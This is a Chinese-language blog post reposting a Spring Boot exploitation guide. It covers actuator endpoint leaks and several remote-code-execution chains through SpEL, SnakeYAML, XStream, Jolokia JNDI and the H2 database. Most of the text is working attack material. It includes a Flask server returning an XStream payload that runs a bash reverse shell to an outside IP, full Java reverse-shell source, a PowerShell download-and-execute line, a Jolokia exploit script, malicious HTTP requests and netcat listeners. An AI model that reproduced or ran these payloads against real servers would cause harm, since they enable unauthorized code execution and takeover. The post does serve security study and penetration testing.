springboot相关漏洞学习

转载https://github.com/LandGrey/SpringBootVulExploit

信息泄露

路由地址及接口调用详情泄漏

开发环境切换为线上生产环境时，相关人员没有更改配置文件或忘记切换配置环境，导致此漏洞

直接访问以下几个路由，验证漏洞是否存在：

1
2
3

/api-docs
/v2/api-docs
/swagger-ui.html

除此之外，下面的路由有时也会包含(或推测出)一些接口地址信息，但是无法获得参数相关信息：

1
2
3
4
5
6
7
8

/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops

一般来讲，知道 spring boot 应用的相关接口和传参信息并不能算是漏洞；

但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。

配置不当而暴露的路由

主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险，或者没有按照标准流程开发，忘记上线时需要修改/切换生产环境的配置
其中对寻找漏洞比较重要接口的有：

1
2
3
4
5
6
7
8
9

/env、/actuator/env
GET 请求 /env 会泄露环境变量信息，或者配置中的一些用户名，当程序员的属性名命名不规范 (例如 password 写成 psasword、pwd) 时，会泄露密码明文；
同时有一定概率可以通过 POST 请求 /env 接口设置一些属性，触发相关 RCE 漏洞。

/jolokia
通过 /jolokia/list 接口寻找可以利用的 MBean，触发相关 RCE 漏洞；

/trace
一些 http 请求包访问跟踪信息，有可能发现有效的 cookie 信息

获取被星号脱敏的密码的明文

访问 /env 接口时，spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

详情可看：https://github.com/LandGrey/SpringBootVulExploit#0x03%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%80

RCE

whitelabel error page SpEL RCE

SPEL详细介绍文章:
由浅入深SpEL表达式注入漏洞
有趣的SpEL注入

利用条件：

• spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
• 至少知道一个触发 springboot 默认错误页面的接口及参数名

利用方法：

步骤一：找到一个正常传参处
比如发现访问 /article?id=xxx ，页面会报状态码为 500 的错误： Whitelabel Error Page，则后续 payload 都将会在参数 id 处尝试。

步骤二：执行 SpEL 表达式
输入/article?id=${7*7} ，如果发现报错页面将7*7的值 49 计算出来显示在报错页面上，那么基本可以确定目标存在 SpEL 表达式注入漏洞。

由字符串格式转换成 0x** java 字节形式，方便执行任意代码：

1
2
3
4
5
6
7

# coding: utf-8

result = ""
target = 'open -a Calculator'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))

执行 calc 命令

1

article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

漏洞原理：

• spring boot 处理参数值出错，流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
• 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
• 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行，造成 RCE 漏洞

spring cloud SnakeYAML RCE

利用条件：

• 可以 POST 请求目标网站的 /env 接口设置属性
• 可以 POST 请求目标网站的 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）
• 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
• 目标可以请求攻击者的 HTTP 服务器（请求可出外网）

利用方法：
步骤一： 托管 yml 和 jar 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在网站根目录下放置后缀为 yml 的文件 example.yml，内容如下：

1
2
3
4
5

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  ]]
]

在网站根目录下放置后缀为 jar 的文件 yaml-payload.jar，内容是要执行的代码，代码编写及编译方式参考 yaml-payload

步骤二： 设置 spring.cloud.bootstrap.location 属性
spring 1.x

1
2
3
4

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

spring 2.x

1
2
3
4

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

步骤三： 刷新配置
spring 1.x

1
2

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2

POST /actuator/refresh
Content-Type: application/json

漏洞原理：

1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件，获得其内容
3. SnakeYAML 由于存在反序列化漏洞，所以解析恶意 yml 内容时会完成指定的动作
4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
6. 实例化类时执行恶意代码，造成 RCE 漏洞

漏洞分析：
Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记
Java SnakeYaml反序列化

漏洞分析：
SpringBoot SpEL表达式注入漏洞-分析与复现

eureka xstream deserialization RCE

利用条件：

• 可以 POST 请求目标网站的 /env 接口设置属性
• 可以 POST 请求目标网站的 /refresh 接口刷新配置（存在 spring-boot-starter-actuator 依赖）
• 目标使用的 eureka-client < 1.8.7（通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中）
• 目标可以请求攻击者的 HTTP 服务器（请求可出外网）

利用方法：
步骤一：架设响应恶意 XStream payload 的网站
使用python3环境运行下边这个脚本（flsak_eureka.py）架设恶意网站。并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

# -*- coding: utf-8 -*-
# @Time    : 2019/3/12 10:06
# @Author  : j1anFen
# @Site    :
# @File    : run.py


# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                                <string>/bin/bash</string>
                      <string>-c</string>
                      <string>bash -i >&amp; /dev/tcp/88.88.88.88/3333 0>&amp;1</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=2222)

步骤二：监听反弹 shell 的端口
一般使用 nc 监听端口，等待反弹 shell

1

nc -lvp 3333

步骤三：设置 eureka.client.serviceUrl.defaultZone 属性
spring 1.x

1
2
3
4

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

1
2
3
4

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}

步骤四：刷新配置
spring 1.x

1
2

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2

POST /actuator/refresh
Content-Type: application/json

漏洞分析：
Spring Boot Actuator从未授权访问到getshell

jolokia logback JNDI RCE

利用条件：

• 目标网站存在 /jolokia 或 /actuator/jolokia 接口
• 目标使用了 jolokia-core 依赖（版本要求暂未知）并且环境中存在相关 MBean
• 目标可以请求攻击者的 HTTP 服务器（请求可出外网）
• JNDI 注入受目标 JDK 版本影响，jdk < 6u201/7u191/8u182/11.0.1（LDAP 方式）

利用方法：
步骤一：查看已存在的 MBeans
访问 /jolokia/list 接口，查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词。

步骤二：托管 xml 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 xml 结尾的 example.xml 文件，内容如下：

1
2
3

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>

步骤三：准备要执行的 Java 代码
编写优化过后的用来反弹 shell 的 Java 示例代码

JNDIObject.java，

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}

使用兼容低版本 jdk 的方式编译：

1
2
3
4
5
6
7
8
9
10

javac -source 1.5 -target 1.5 JNDIObject.java
```   

然后将生成的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。


步骤四：架设恶意 ldap 服务
下载 [marshalsec](https://github.com/mbechler/marshalsec/releases) ，
```bash
mvn clean package -DskipTests

使用下面命令架设对应的 ldap 服务：

1

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五：监听反弹 shell 的端口
一般使用 nc 监听端口，等待反弹 shell

1

nc -lv 443

步骤六：从外部 URL 地址加载日志配置文件
⚠️ 如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求，但是目标没有请求 JNDIObject.class，大概率是因为目标环境的 jdk 版本太高，导致 JNDI 利用失败。

替换实际的 your-vps-ip 地址访问 URL 触发漏洞：

1

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

漏洞原理：

• 直接访问可触发漏洞的 URL，相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
• 目标机器请求外部日志配置文件 URL 地址，获得恶意 xml 文件内容
• 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
• xml 文件中利用 logback 依赖的 insertFormJNDI 标签，设置了外部 JNDI 服务器地址
• 目标机器请求恶意 JNDI 服务器，导致 JNDI 注入，造成 RCE 漏洞

漏洞分析：

spring boot actuator rce via jolokia

jolokia Realm JNDI RCE

利用条件：

• 目标网站存在 /jolokia 或 /actuator/jolokia 接口
• 目标使用了 jolokia-core 依赖（版本要求暂未知）并且环境中存在相关 MBean
• 目标可以请求攻击者的服务器（请求可出外网）
• 普通 JNDI 注入受目标 JDK 版本影响，jdk < 6u141/7u131/8u121(RMI)，但相关环境可绕过

利用方法：
步骤一：查看已存在的 MBeans
访问 /jolokia/list 接口，查看是否存在 type=MBeanFactory 和 createJNDIRealm 关键词。

步骤二：准备要执行的 Java 代码
编写优化过后的用来反弹 shell 的 Java 示例代码 JNDIObject.java。

步骤三：托管 class 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。

步骤四：架设恶意 rmi 服务
下载 marshalsec ，使用下面命令架设对应的 rmi 服务：

1

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五：监听反弹 shell 的端口
一般使用 nc 监听端口，等待反弹 shell

1

nc -lvp 6666

步骤六：发送恶意 payload
根据实际情况修改 springboot-realm-jndi-rce.py 脚本中的目标地址，RMI 地址、端口等信息，然后在自己控制的服务器上运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

import requests


url = 'http://127.0.0.1:8080/jolokia'


create_realm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://your-vps-ip:1389/JNDIObject"
}

stop = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
    print(r.status_code)

漏洞原理：

• 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
• 设置 connectionURL 地址为 RMI Service URL
• 设置 contextFactory 为 RegistryContextFactory
• 停止 Realm
• 启动 Realm 以触发指定 RMI 地址的 JNDI 注入，造成 RCE 漏洞

漏洞分析：
[https://paper.seebug.org/851/](Attack Spring Boot Actuator via jolokia Part 2)

restart h2 database query RCE

利用条件：

• 可以 POST 请求目标网站的 /env 接口设置属性
• 可以 POST 请求目标网站的 /restart 接口重启应用
• 存在 com.h2database.h2 依赖（版本要求暂未知）

利用方法：
步骤一：设置 spring.datasource.hikari.connection-test-query 属性
⚠️ 下面payload 中的 ‘T5’ 方法每一次执行命令后都需要更换名称 (如 T6) ，然后才能被重新创建使用，否则下次 restart 重启应用时漏洞不会被触发

spring 1.x（无回显执行命令）

1
2
3
4

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

spring 2.x（无回显执行命令）

1
2
3
4

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}

步骤二：重启应用
spring 1.x

1
2

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2

POST /actuator/restart
Content-Type: application/json

漏洞原理：

• spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的 CREATE ALIAS 创建自定义函数的 SQL 语句
• 其属性对应 HikariCP 数据库连接池的 connectionTestQuery 配置，定义一个新数据库连接之前被执行的 SQL 语句
• restart 重启应用，会建立新的数据库连接
• 如果 SQL 语句中的自定义函数还没有被执行过，那么自定义函数就会被执行，造成 RCE 漏洞

漏洞分析：
remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

h2 database console JNDI RCE

利用条件：

• 存在 com.h2database.h2 依赖（版本要求暂未知）
• spring 配置中启用 h2 console spring.h2.console.enabled=true
• 目标可以请求攻击者的服务器（请求可出外网）
• JNDI 注入受目标 JDK 版本影响，jdk < 6u201/7u191/8u182/11.0.1（LDAP 方式）

利用方法：
步骤一：访问路由获得 jsessionid
直接访问目标开启 h2 console 的默认路由 /h2-console，目标会跳转到页面 /h2-console/login.jsp?jsessionid=xxxxxx，记录下实际的 jsessionid=xxxxxx 值。

步骤二：准备要执行的 Java 代码
编写优化过后的用来反弹 shell 的 Java 示例代码 JNDIObject.java，

使用兼容低版本 jdk 的方式编译：

1

javac -source 1.5 -target 1.5 JNDIObject.java

然后将生成的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。

步骤三：托管 class 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器，端口尽量使用常见 HTTP 服务端口（80、443）

1
2
3
4

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。

步骤四：架设恶意 ldap 服务
下载 marshalsec ，使用下面命令架设对应的 ldap 服务：

1

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

步骤五：监听反弹 shell 的端口
一般使用 nc 监听端口，等待反弹 shell

1

nc -lv 443

步骤六：发包触发 JNDI 注入
根据实际情况，替换下面数据中的 jsessionid=xxxxxx、www.example.com 和 ldap://your-vps-ip:1389/JNDIObject

1
2
3
4
5
6

POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=

漏洞分析：

mysql jdbc deserialization RCE

参考链接

https://github.com/LandGrey/SpringBootVulExploit
https://www.t00ls.net/articles-56671.html
有趣的SpEL注入：https://xz.aliyun.com/t/9252

JAVA JNDI注入知识详解：http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/

Java安全之JNDI注入:https://www.anquanke.com/post/id/221917
https://www.anquanke.com/post/id/212186

FROM :blog.cfyqy.com | Author:cfyqy